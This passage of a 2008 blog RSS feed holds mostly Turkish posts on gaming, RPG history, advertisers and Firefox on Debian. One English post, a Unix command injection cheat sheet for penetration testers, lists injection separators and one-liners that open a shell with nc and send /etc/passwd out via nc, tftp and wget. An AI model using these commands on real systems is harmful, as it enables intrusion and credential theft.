&amp;#231;&amp;#246;z&amp;#252;n&amp;#252;rl&amp;#252;k kullanın.&lt;/li&gt;    &lt;li&gt;Mouse ile oynanan oyunları oynamayın, eğer m&amp;#252;mk&amp;#252;nse kendinize bir XBox 360 ya da PS3 edinin, ya da PC oyunlarını Gamepad ile oynayın bu sayede farklı kasları kullanabilirsiniz.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&amp;#214;zetle bilgisayar aşkınızın sizi &amp;#246;ld&amp;#252;rmesine izin vermeyin. Kolum tekrar ağrımaya başladı o y&amp;#252;zden burada bırakıyorum...&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;Başlıktaki g&amp;#246;ndermeyi anlamayanlar i&amp;#231;in, bu &lt;/em&gt;&lt;a href="http://www.imdb.com/title/tt0118736/"&gt;&lt;em&gt;Six String Samurai&lt;/em&gt;&lt;/a&gt;&lt;em&gt; filminin &lt;/em&gt;&lt;a href="http://www.imdb.com/title/tt0118736/"&gt;&lt;em&gt;Red Elvises' ın s&amp;#246;ylediği harika bir şarkı.&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/HJ6H0wi9EjikYv3kRVO2cyn3nPc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HJ6H0wi9EjikYv3kRVO2cyn3nPc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/HJ6H0wi9EjikYv3kRVO2cyn3nPc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HJ6H0wi9EjikYv3kRVO2cyn3nPc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=lyUFLU9k"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=unYMre74"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ANctW88i"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=oEh2tFjO"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=oEh2tFjO" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/kioiMjclEA8" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/my-love-is-killing-me-oku/</guid>
  <comments>http://ferruh.mavituna.com/my-love-is-killing-me-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/my-love-is-killing-me-oku/</feedburner:origLink></item>
<item>
  <title>RPG Oyunları</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/1d-ZUNz2XPI/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Sal, 22 Tem 2008 09:31:17 +0300</pubDate>
  <description>&lt;p&gt;Bilindiği &amp;#252;zere ben RPG oyunlarının b&amp;#252;y&amp;#252;k bir fanıyım. Bir ka&amp;#231; hafta &amp;#246;nce RPG oyunlarının tarihi hakkında uzun bir yazı dizisi okuma fırsatı buldum. &lt;a href="http://www.gamasutra.com/features/20070411/barton_01.shtml"&gt;The History of Computer Role-Playing Games&lt;/a&gt;. &lt;a href="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/RPGOyunlar_14F65/image_2.png"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="240" alt="image" src="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/RPGOyunlar_14F65/image_thumb.png" width="240" align="right"  /&gt;&lt;/a&gt; Ek olarak birde kitap var daha detaylı şekilde &lt;a href="http://www.amazon.com/Dungeons-Desktops-History-Computer-Role-playing/dp/1568814119"&gt;Dungeons and Desktops&lt;/a&gt;, hen&amp;#252;z okuma fırsatım olmadı.&lt;/p&gt;  &lt;p&gt;T&amp;#252;m yazı serisi 50 sayfa kadar ve ilk RPG t&amp;#252;revlerinden bug&amp;#252;ne kadar geliyor. Herşeyden &amp;#246;nce gelişim &amp;#231;ok etkileyici ve ilgin&amp;#231;, onlarca seneden sonra bazı oyunların hala &amp;#231;ok eski oyunlardaki detayları yakalayamamış olması gibi. Orijinal bir oyun t&amp;#252;r&amp;#252;n&amp;#252;n gelişimini sayfalardan izlemek gayet etkileyici. &lt;a href="http://www.armchairarcade.com/neo/blog/4"&gt;Yazar&lt;/a&gt; belli ki konusunda uzman ve 1994-2004 arasını CRPG' nin en &amp;#246;nemli yılları olarak belirtmiş. &lt;/p&gt;  &lt;p&gt;Bu tarihlerde benim de severek oynadım şu oyunlardan ve bu oyunlarında devam serilerinden bahsediyor:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/tag/fallout/"&gt;Fallout&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;Baldur's Gate &lt;/li&gt;    &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/temple-of-elemental-evil-oku/"&gt;Temple Of Elemental Evil&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;Icewind Dale &lt;/li&gt;    &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/fallout-3-oku/"&gt;Diablo&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;a href="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/RPGOyunlar_14F65/image_4.png"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="230" alt="image" src="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/RPGOyunlar_14F65/image_thumb_1.png" width="184" style="float:left"  /&gt;&lt;/a&gt; Diğer ilgin&amp;#231; bir nokta ise Diablo' nun ve benzer Hack'n Slash oyunlarının hem CRPG' yi &amp;#231;ok b&amp;#252;y&amp;#252;k kitlelere tanıştırdığını hem de aynı zamanda CRPG i&amp;#231;in k&amp;#246;t&amp;#252; olduğunu &amp;#231;&amp;#252;nk&amp;#252; bundan sonraki &lt;em&gt;&lt;a href="http://ferruh.mavituna.com/temple-of-elemental-evil-oku/"&gt;Temple of Elemental Evil&lt;/a&gt;&lt;/em&gt; gibi oyunların artık oyunculara &amp;#231;ok karışık geldiğinden bahsediyor. Yukarıdaki oyunların hepsi genel alt yapıda ger&amp;#231;ek masa&amp;#252;st&amp;#252; RPG oyunlarından implemente edilmiş kurallar ile &amp;#231;alışıyorlar. Fallout ve Diablo hari&amp;#231; hepsi D&amp;amp;D kurallarına uygun şekilde. Fallout' un kendi &amp;#246;zel sistemi var ve bu başka masa&amp;#252;st&amp;#252; oyunlarda da kullnılıyor. Diablo' nun kendi i&amp;#231;erisinde daha basit bir sistemi var. Dolayısıyla oyunlar genelde tuş par&amp;#231;alamaktansa stratejiye y&amp;#246;nelik. Zaten aynı zamanda bir &amp;#231;oğu turn-based yani ger&amp;#231;ek zamanlı değil.&lt;/p&gt;  &lt;p&gt;İlgin&amp;#231;, neredeyse son d&amp;#246;rt senedir adam gibi RPG yapılmış değil, Oblivion gibi RPG' leri saymıyorum, saymamamın tek nedeni benim First-Person-View RPG' leri sevmemem. Gene aynı konuya gireceğim ama tabii ki konsolların piyasayı doldurması PC oyunlarına ayrılan b&amp;#252;t&amp;#231;eyide &amp;#231;ok kısıtladı. Artık eski-stil, izometrik g&amp;#246;r&amp;#252;nt&amp;#252; RPG' ler para etmiyor gibi ve sadece kısıtlı PC kullanan ve hard-core RPG severlere hitap ediyor. Bu gruptaki oyuncu sayısı da azaldık&amp;#231;a, yeni oyunlar &amp;#231;ıkmaz oluyor. &lt;/p&gt;  &lt;h2&gt;Eski oyunların tekrar yapımları&lt;/h2&gt;  &lt;p&gt;Bu aralar kafamda olan şey bu, bir &amp;#231;ok harika RPG oyunu yapıldı ama yeni oyuncular bunları tamamen ka&amp;#231;ırmış durumda, bu oyunların bire bir aynıları yeni ufak geliştirmeler ile ve tamamen yeni oyun motoru, grafikler ile geliştirilseler s&amp;#252;per olmaz mı? Mesela &lt;a href="http://www.gametrailers.com/player/29799.html"&gt;Bionic Commando bu şekilde tekrar yapılıyor&lt;/a&gt;. Baldur's Gate serisi, Fallout Serisi, Planescape: Torment vs.&lt;/p&gt;  &lt;p&gt;PS3 g&amp;#252;zel g&amp;#246;z&amp;#252;ken ama rezil oyunlar ile dolu, yeni konsol oyunlarının %70' nin b&amp;#246;yle olduğunu s&amp;#246;yleyebilirim (&lt;em&gt;benim oyun zevkime g&amp;#246;re&lt;/em&gt;). &amp;#214;zetle keşke b&amp;#252;y&amp;#252;k firmalara eski ve g&amp;#252;zel oyunları tekrar yapmaya başlasalar s&amp;#252;per olurdu ama bu tekrar yapmak olayının pop&amp;#252;ler olması şimdilik zor gibi. &lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/eHBSsdlSkrqhB6AAXhdkcGM_-a0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eHBSsdlSkrqhB6AAXhdkcGM_-a0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/eHBSsdlSkrqhB6AAXhdkcGM_-a0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eHBSsdlSkrqhB6AAXhdkcGM_-a0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=KsHMmdld"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=7rgUtKrW"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=v9GGWtXn"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=SgWqTy3X"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=SgWqTy3X" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/1d-ZUNz2XPI" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/rpg-oyunlari-oku/</guid>
  <comments>http://ferruh.mavituna.com/rpg-oyunlari-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/rpg-oyunlari-oku/</feedburner:origLink></item>
<item>
  <title>Reklam İndeksi ve Reklam Ödülleri</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/L40PCig_xeI/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 20 Tem 2008 12:27:58 +0300</pubDate>
  <description>&lt;p&gt;Herşeyden &amp;#246;nce siteye reklam verenlerin hepsine &amp;#231;ok teşekk&amp;#252;rler. Sevindiğim konulardan biri genelde t&amp;#252;m reklamların okuyucu kitlesi ile tam olarak uyuşması dolayısıyla adsense' teki gibi alakasız reklamlarlardansa mantıklı g&amp;#252;zel reklamlar oluyor sitede.&lt;/p&gt;  &lt;p&gt;Şimdiye kadarki reklam verenlerin bir listesini yazmak istedim.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;a href="http://www.flashpageflip.com/"&gt;Flash Page Flip&lt;/a&gt;       &lt;br /&gt;En uzun reklam veren &amp;#246;d&amp;#252;l&amp;#252;n&amp;#252; kazandı.       &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.zemana.com/"&gt;Zemana AntiLogger&lt;/a&gt;       &lt;br /&gt;Sitenin i&amp;#231;eriği ile en iyi uyuşan reklam &amp;#246;d&amp;#252;l&amp;#252;n&amp;#252; kazandı.       &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.cvzip.com/"&gt;CvZip&lt;/a&gt;      &lt;br /&gt;Google Ad Manager' ı bu sitede kullanan ilk reklam veren &amp;#246;d&amp;#252;l&amp;#252;n&amp;#252; kazandı.       &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.lafmacun.org/"&gt;Lafmacun&lt;/a&gt;       &lt;br /&gt;En ufak reklam &amp;#246;d&amp;#252;l&amp;#252;n&amp;#252; kazandı.       &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.azbuz.com/"&gt;Azbuz&lt;/a&gt;       &lt;br /&gt;En b&amp;#252;y&amp;#252;k yer kaplayan reklam &amp;#246;d&amp;#252;l&amp;#252;n&amp;#252; kazandı. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Reklam verenlere tekrar teşekk&amp;#252;rler.&lt;/p&gt;  &lt;p&gt;Bu arada google reklamlarımız k&amp;#252;&amp;#231;&amp;#252;ld&amp;#252; ve yazıları engellemeyecek şekilde sağ kısma kaydı. Umarım artık yazılar reklamlarla i&amp;#231;e girmez. Yeni tasarım biraz gecikme de, sanırım en az 1-2 ay daha s&amp;#252;recek onu a&amp;#231;abilmem.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/DgQQsmOuzyoYhJ4qyY1T6ralPPA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/DgQQsmOuzyoYhJ4qyY1T6ralPPA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/DgQQsmOuzyoYhJ4qyY1T6ralPPA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/DgQQsmOuzyoYhJ4qyY1T6ralPPA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=hArqrrjA"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=O1m8F9Pp"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=BbXs8Uir"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=MUrmdA3C"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=MUrmdA3C" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/L40PCig_xeI" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/reklam-indeksi-ve-reklam-odulleri-oku/</guid>
  <comments>http://ferruh.mavituna.com/reklam-indeksi-ve-reklam-odulleri-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/reklam-indeksi-ve-reklam-odulleri-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> Unix Command Injection Cheat Sheet</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/c0OaLGlLd3Q/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 20 Tem 2008 12:10:31 +0300</pubDate>
  <description>&lt;p&gt;Short, yet quite useful command injection cheat sheet. &lt;/p&gt;  &lt;h2&gt;Executing Commands&lt;/h2&gt;  &lt;ul&gt;   &lt;li&gt;&lt;strong&gt;Seperating Commands:        &lt;br /&gt;&lt;/strong&gt;blah;blah2 &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;PIPE:        &lt;br /&gt;&lt;/strong&gt;blah | blah2 &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;PIPEZ:        &lt;br /&gt;&lt;/strong&gt;blah ^ blah2 &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;AND:        &lt;br /&gt;&lt;/strong&gt;blah &amp;amp;&amp;amp; blah2 &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;OR:        &lt;br /&gt;&lt;/strong&gt;FAIL || X &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;OR:        &lt;br /&gt;&lt;/strong&gt;blah%0Dblah2%0Dblah3 &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Backtick:        &lt;br /&gt;&lt;/strong&gt;`blah` &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Background:        &lt;br /&gt;&lt;/strong&gt;`blah &amp;amp; blah2` &lt;/li&gt; &lt;/ul&gt;  &lt;h2&gt;Getting Files / Data&lt;/h2&gt;  &lt;ul&gt;   &lt;li&gt;&lt;strong&gt;FTP:        &lt;br /&gt;&lt;/strong&gt;Make a new text, and echo and then redirect to FTP &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;NC:        &lt;br /&gt;&lt;/strong&gt;nc -e /bin/sh &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;NC:        &lt;br /&gt;&lt;/strong&gt;echo /etc/passwd&amp;#160; | nc host port &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;TFTP:&lt;/strong&gt;       &lt;br /&gt;echo put /etc/passwd | tftp host &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;WGET:&lt;/strong&gt;       &lt;br /&gt;wget --post-file /etc/passwd &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Credits : &lt;a href="http://www.notsosecure.com/folder2/"&gt;notsosecure&lt;/a&gt; and &lt;a href="http://pentestmonkey.net/"&gt;pentestmonkey&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/pJRHjIcomkOJsFDB5lKTyeDm7O8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pJRHjIcomkOJsFDB5lKTyeDm7O8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/pJRHjIcomkOJsFDB5lKTyeDm7O8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pJRHjIcomkOJsFDB5lKTyeDm7O8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=MGzQsyDl"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=oAlIMnoW"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=bwsf8Tof"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Qid3DOT4"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=Qid3DOT4" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/c0OaLGlLd3Q" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/unix-command-injection-cheat-sheet-oku/</guid>
  <comments>http://ferruh.mavituna.com/unix-command-injection-cheat-sheet-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/unix-command-injection-cheat-sheet-oku/</feedburner:origLink></item>
<item>
  <title>Firefox 3 ve Debian ve XUL</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/GmhsY6WLwzI/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Per, 17 Tem 2008 20:05:47 +0300</pubDate>
  <description>&lt;p&gt;Son iki &amp;#252;&amp;#231; g&amp;#252;nd&amp;#252;r yorumları pek hızlı onaylıyamıyordum, &amp;#231;&amp;#252;nk&amp;#252; sistmelerimden birimi Vista' dan Debian' a ge&amp;#231;irmek ile meşguld&amp;#252;m. Nihayet bug&amp;#252;n işlemlerimi bitirdim ve Debian' ım Firefox 3 ve Thunderbird ile birlikte &amp;#231;alışır hale geldi.&lt;/p&gt;  &lt;p&gt;Debian kullanıcıları bilir Debian lisans konusunda &amp;#231;ok takıntılı bir dağıtım, o y&amp;#252;zden bazı paketleri kullanmak i&amp;#231;in biraz kasmanız ya da ekstra repository' ler kullanmanız gerekiyor. Aynı nedenden dolayı Firefox değil forku olan iceweasel ile geliyor.&lt;/p&gt;  &lt;p&gt;Firefox 3' &amp;#252; kullanabilmeniz i&amp;#231;in basit&amp;#231;e son &lt;a href="http://mozilla-mirror.internap.com/firefox/releases/3.0.1/linux-i686/en-US/firefox-3.0.1.tar.bz2"&gt;Linux binary release&lt;/a&gt;' i indirin, g&amp;#252;zel bir yere a&amp;#231;ın. Ondan sonra da flash' ın &amp;#231;alışması i&amp;#231;in de iceweasel' ın plugins klas&amp;#246;r&amp;#252;ndeki .so dosyalarını Firefox 3' &amp;#252;n plugins' ine atın tamamdır. 64bit Linux ve Flash derdi ise bambaşka bir konu, ben bu dertlerden ka&amp;#231;mak i&amp;#231;in 32bit yaşıyorum hala.&lt;/p&gt;  &lt;p&gt;Esas s&amp;#246;ylemek istediğim ise Thunderbird ve Firefox' un farklı platformlarda &amp;#231;alışmalarının inanılmaz g&amp;#252;zelliğiydi. Şu an kullandığım Firefox profili aşağıdaki yollardan ge&amp;#231;miş bir profil : &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Windows 2003 &amp;gt; Max OSX &amp;gt; Windows Vista &amp;gt; Debian&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Ve hepsinde de s&amp;#252;per bir şekilde &amp;#231;alışıyor. Thunderbird profilimi de aynı şekilde tutuyorum, inanılmaz bir g&amp;#252;zellik. Keşke aynı kalitede ve aynı şekilde farklı platformlarda &amp;#231;alışabilen daha &amp;#231;ok yazılıma sahip olabilsek.&lt;/p&gt;  &lt;p&gt;Vaktim olunca bir de KDE 4' &amp;#252; denemek istiyorum ama bakalım...&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/uEB6EJuLNk6POmo-CO_gqdfzb6s/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/uEB6EJuLNk6POmo-CO_gqdfzb6s/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/uEB6EJuLNk6POmo-CO_gqdfzb6s/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/uEB6EJuLNk6POmo-CO_gqdfzb6s/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=2THr9xex"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=SQKcCwwW"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=kfE20mmo"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Xt1YKJYO"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=Xt1YKJYO" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/GmhsY6WLwzI" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/firefox-3-ve-debian-ve-xul-oku/</guid>
  <comments>http://ferruh.mavituna.com/firefox-3-ve-debian-ve-xul-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/firefox-3-ve-debian-ve-xul-oku/</feedburner:origLink></item>
<item>
  <title>MySpace' i Sen Yapsaydın?</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/UU3022fBrmA/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Çar, 16 Tem 2008 09:39:55 +0300</pubDate>
  <description>&lt;p&gt;Ge&amp;#231;en g&amp;#252;n ofiste bu soru ortaya &amp;#231;ıktı:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;MySpace' i sen yapsaydın bundan gurur duyar mıydın?&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Soruyu aynen size iletiyorum, ofiste &amp;#252;&amp;#231; kişiden &amp;#252;&amp;#231; farklı yaklaşım oldu. Bakalım site ahalisi ne d&amp;#252;ş&amp;#252;n&amp;#252;yor.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/IV79v4yfqQBowpKbD-IcY_IdkfA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IV79v4yfqQBowpKbD-IcY_IdkfA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/IV79v4yfqQBowpKbD-IcY_IdkfA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IV79v4yfqQBowpKbD-IcY_IdkfA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ZcmgMZtj"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=5kbnAG39"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=mYLxV0hQ"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=dqMULIXz"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=dqMULIXz" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/UU3022fBrmA" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/myspace-i-sen-yapsaydin-oku/</guid>
  <comments>http://ferruh.mavituna.com/myspace-i-sen-yapsaydin-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/myspace-i-sen-yapsaydin-oku/</feedburner:origLink></item>
<item>
  <title>Fallout 3</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/o0wt9SmEE2M/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Sal, 15 Tem 2008 00:43:36 +0300</pubDate>
  <description>&lt;p&gt;Geldi gelecek, işte ilk g&amp;#246;r&amp;#252;nt&amp;#252;ler geldi. A&amp;#231;ık&amp;#231;ası ben genel olarak Fallout 3 konusunda bir hayal kırıklığı yaşıyorum ama bunu sonra vaktim olunca yazarım. Hatta o konuyu yazarken hatırlatın bir de Diablo III den bahsedeyim.&lt;/p&gt;  &lt;p&gt;&lt;em&gt;Unutmadan videolarda kan-g&amp;#246;vde g&amp;#246;t&amp;#252;rmekte, +16 diyebiliriz sanırım. &lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Videolar :&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;object id="gtembed" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" height="392" width="480" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"&gt;&lt;param name="_cx" value="12700"&gt;&lt;param name="_cy" value="10372"&gt;&lt;param name="FlashVars" value=""&gt;&lt;param name="Movie" value="http://www.gametrailers.com/remote_wrap.php?mid=36202"&gt;&lt;param name="Src" value="http://www.gametrailers.com/remote_wrap.php?mid=36202"&gt;&lt;param name="WMode" value="Window"&gt;&lt;param name="Play" value="0"&gt;&lt;param name="Loop" value="-1"&gt;&lt;param name="Quality" value="High"&gt;&lt;param name="SAlign" value="LT"&gt;&lt;param name="Menu" value="-1"&gt;&lt;param name="Base" value=""&gt;&lt;param name="AllowScriptAccess" value="sameDomain"&gt;&lt;param name="Scale" value="NoScale"&gt;&lt;param name="DeviceFont" value="0"&gt;&lt;param name="EmbedMovie" value="0"&gt;&lt;param name="BGColor" value=""&gt;&lt;param name="SWRemote" value=""&gt;&lt;param 